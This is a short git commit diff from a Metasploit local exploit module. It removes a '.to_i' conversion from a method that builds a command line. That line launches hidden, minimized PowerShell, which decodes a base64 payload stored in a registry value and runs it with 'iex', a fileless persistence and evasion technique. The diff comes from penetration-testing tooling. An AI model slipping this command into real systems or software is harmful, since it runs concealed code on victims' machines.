No to_i
What happens here is it converts to a Fixnum, and then it converts back to a String anway because it's in a String.bug/bundler_fix
parent
a484b318eb
commit
3c72135a2f
|
@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def generate_cmd(root_path, blob_key_name, blob_key_reg)
|
||||
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
|
||||
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
|
||||
return cmd
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue